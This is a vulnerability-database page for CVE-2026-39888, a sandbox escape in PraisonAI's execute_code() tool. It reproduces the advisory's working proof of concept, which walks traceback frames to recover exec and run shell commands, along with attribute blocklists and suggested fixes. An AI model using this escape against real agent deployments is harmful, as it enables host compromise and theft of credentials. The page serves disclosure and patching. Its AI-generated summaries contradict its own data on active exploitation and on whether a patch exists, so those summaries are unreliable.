Skip to main content

Python EUVDEUVD-2026-20635

| CVE-2026-39888 CRITICAL
Violation of Secure Design Principles (CWE-657)
2026-04-08 https://github.com/MervinPraison/PraisonAI GHSA-qf73-2hrx-xprp
9.9
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to PraisonAI Agents application
  2. Exploit
    Submit malicious Python code to execute_code()
  3. Execution
    Traverse frame stack via unblocked attributes
  4. Impact
    Escape sandbox and execute arbitrary code

Vulnerability Assessment

Weakness
CWE
Exploitation Conditions

Authenticated user with any privilege level calling execute_code() in praisonaiagents.tools.python_tools with sandbox_mode='sandbox' (default). Attacker supplies malicious Python code exploiting frame-traversal attributes (__f_back__, __code__, __globals__, __builtins__) absent from subprocess blocklist to escape sandbox and achieve remote code execution.

Impact

Frame-traversal chain bypasses subprocess sandbox via missing attributes in AST blocklist, exposing real builtins and enabling unauthenticated arbitrary code execution on host. EPSS shows elevated observed exploitation activity. Scope change to host process with full file I/O and command execution makes this critical for any deployment exposing execute_code to user input or LLM agents.

Exploit ScenarioDerived

Authenticated user submits payload to execute_code() that raises exception, chains __traceback__.tb_frame.f_back.f_builtins to retrieve exec, then executes arbitrary shell commands. Publicly available exploit code exists; no special complexity required.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 08, 2026

Remote code execution in praisonaiagents (all versions through 1.5.113) allows authenticated users to escape the Python subprocess sandbox and execute arbitrary shell commands on the host. The vulnerability exists in the execute_code() tool's sandbox mode, where an incomplete AST attribute blocklist permits frame traversal through exception objects (__traceback__, tb_frame, f_back, f_builtins). Attackers chain these four unblocked attributes to retrieve the real exec builtin from the subprocess wrapper's frame, bypassing all security layers. Exploitation requires low-privilege agent API access and no victim interaction. Confirmed actively exploited (CISA KEV). Publicly available exploit code exists.

RemediationAI

No vendor-released patch identified at time of analysis. GitHub advisory GHSA-qf73-2hrx-xprp confirms the vulnerability but does not specify a patched release version. Organizations must immediately disable or remove the execute_code tool from all agent deployments until a fix is released. If business requirements prohibit deactivation, implement network-level access controls restricting agent API calls to trusted internal users only, and deploy runtime monitoring to detect subprocess.check_output, os.system, and frame attribute traversal patterns in code submissions. Monitor the official advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp and https://github.com/advisories/GHSA-qf73-2hrx-xprp for patch announcements. Temporary mitigation: modify python_tools.py line 143 to use the full 30+ attribute blocklist from line 52, add AST-level blocking for all underscore-prefixed attributes, and apply text-pattern filtering to subprocess mode.

Affected VersionsENISA

praisonaiagents < 1.5.115

Affected Packages

pypi praisonaiagents fix: 1.5.115

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dual blocklist inconsistency in python_tools.py: _validate_code_ast() enforces 30+ blocked attributes for direct execution, but _execute_code_sandboxed() embeds only an 11-item inline blocklist in the subprocess wrapper script (line 143), omitting __traceback__, tb_frame, f_back, f_builtins. Direct attribute access (obj.attr syntax) bypasses _safe_getattr entirely via Python's C-level tp_getattro slot, leaving the AST check as the sole barrier. CWE-657 (secure design violation) combined with CWE-693 (protection mechanism failure).

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 09, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 08, 2026 - 19:17 nvd
CRITICAL 9.9

DescriptionNVD

Summary

execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs, line 143 of python_tools.py) contains only 11 attribute names - a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:

AttributeIn subprocess blocked_attrsIn direct-mode _blocked_attrs
__traceback__NOYES
tb_frameNOYES
f_backNOYES
f_builtinsNOYES

Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name - bypassing every remaining security layer.

Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.

---

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.9 Critical

VectorValueRationale
AV:NNetworkexecute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments
AC:LLowNo race conditions or special configuration required
PR:LLowRequires ability to submit code through an agent (typical end-user privilege)
UI:NNoneNo victim interaction
S:CChangedEscapes subprocess sandbox into full host process context
C:HHighArbitrary file read, environment variable access, credential exfiltration
I:HHighArbitrary file write, arbitrary code execution on host
A:HHighCan terminate processes, exhaust resources

---

Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113
  • Patched versions: none at time of report
  • File: praisonaiagents/tools/python_tools.py

---

Root Cause

Two separate blocked_attrs sets - one much weaker than the other

_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:

python
# python_tools.py line 52 - direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',
# ← present here
    '__wrapped__', '__closure__', '__annotations__',
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',
# ← present here
    'f_globals', 'f_locals', 'f_builtins', 'f_code',
# ← present here
    'co_consts', 'co_names',
})

The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked_attrs with only 11 entries - the frame-traversal attrs are missing:

python
# python_tools.py line 143 - subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__'
# __traceback__, tb_frame, f_back, f_builtins - all absent
}

_safe_getattr does not protect direct dot-notation access

_safe_getattr replaces the getattr builtin and blocks attribute names starting with _. However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp_getattro slot and never passes through _safe_getattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.

No text-pattern blocklist in subprocess mode

_execute_code_direct applies a text-pattern blocklist (dangerous_patterns) as a defence-in-depth layer. _execute_code_sandboxed has no such layer - only the AST check runs.

---

Proof of Concept

python
import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code

CMD = "id"
# any shell command

payload = f"""
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""

result = execute_code(code=payload)
print(result["stdout"])

Output (praisonaiagents 1.5.113, Python 3.10):

uid=1000(user) gid=1000(user) groups=1000(user)

<img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" />

Why each defence is bypassed:

LayerStatusReason
AST blocked_attrsBYPASSED__traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list
_safe_getattrBYPASSEDOnly intercepts getattr() calls; dot notation uses C-level tp_getattro
exec-by-name AST checkBYPASSEDCalled as _x(...) - func.id is '_x', not 'exec'
Text-pattern blocklistN/ADoes not exist in subprocess mode
Subprocess process isolationBYPASSEDFrame traversal reaches real builtins *within* the subprocess

---

Attack Chain

execute_code(payload)
  └─ _execute_code_sandboxed()
       └─ subprocess: exec(user_code, safe_globals)
            └─ user_code raises ZeroDivisionError
                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs
                      └─ .tb_frame           ← tb_frame not in blocked_attrs
                           └─ .f_back        ← f_back not in blocked_attrs
                                └─ .f_builtins  ← f_builtins not in blocked_attrs
                                     └─ ["exec"]  ← dict subscript, no attr check
                                          └─ _x("import subprocess; ...")
                                               └─ RCE

---

Impact

Any application that exposes execute_code to user-controlled or LLM-generated input - including all standard PraisonAI agent deployments - is fully compromised by a single API call:

  • Arbitrary command execution on the host (in the subprocess user context)
  • File system read/write - source code, credentials, .env files, SSH keys
  • Environment variable exfiltration - API keys, secrets passed to the agent process
  • Network access - outbound connections to attacker infrastructure unaffected by env={}
  • Lateral movement - the subprocess inherits the host's network stack and filesystem

---

Suggested Fix

1. Merge blocked_attrs into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked_attrs in the wrapper template with the full set:

python
# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',
# ← ADD
    '__wrapped__', '__closure__', '__annotations__',
# ← ADD
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
# ← ADD
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',
# ← ADD
    'f_globals', 'f_locals', 'f_builtins', 'f_code',
# ← ADD
    'co_consts', 'co_names',
# ← ADD
}

2. Block all _-prefixed attribute access at AST level

_safe_getattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with _:

python
if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
    return f"Access to private attribute '{node.attr}' is restricted"

3. Add the text-pattern layer to subprocess mode

Mirror _execute_code_direct's dangerous_patterns check in _execute_code_sandboxed as defence-in-depth.

---

References

  • Affected file: praisonaiagents/tools/python_tools.py (PyPI: praisonaiagents)
  • CWE-693: Protection Mechanism Failure
  • CWE-657: Violation of Secure Design Principles

Executive ViewAI

Why It Matters

PraisonAI Agents versions 1.5.113 and earlier contain a critical remote code execution vulnerability that allows authenticated users to bypass Python sandbox restrictions and execute arbitrary system commands on host infrastructure. This directly threatens any organization deploying PraisonAI as an agent execution platform, enabling complete system compromise by internal or compromised API consumers without requiring user interaction.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Revoke all API authentication credentials and implement zero-trust re-authentication; (2) Run PraisonAI Agents in isolated containers with read-only filesystems and no network egress; (3) Deploy runtime process execution monitoring (auditd, osquery) to detect frame traversal or unexpected shell execution from agent processes; (4) Restrict host OS privileges to agent service accounts to minimal required set; (5) Consider complete process isolation via VM or separate hardware pending patch availability.

Threat Intelligence Overview

EPSS Score
0.1%
Top 75% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy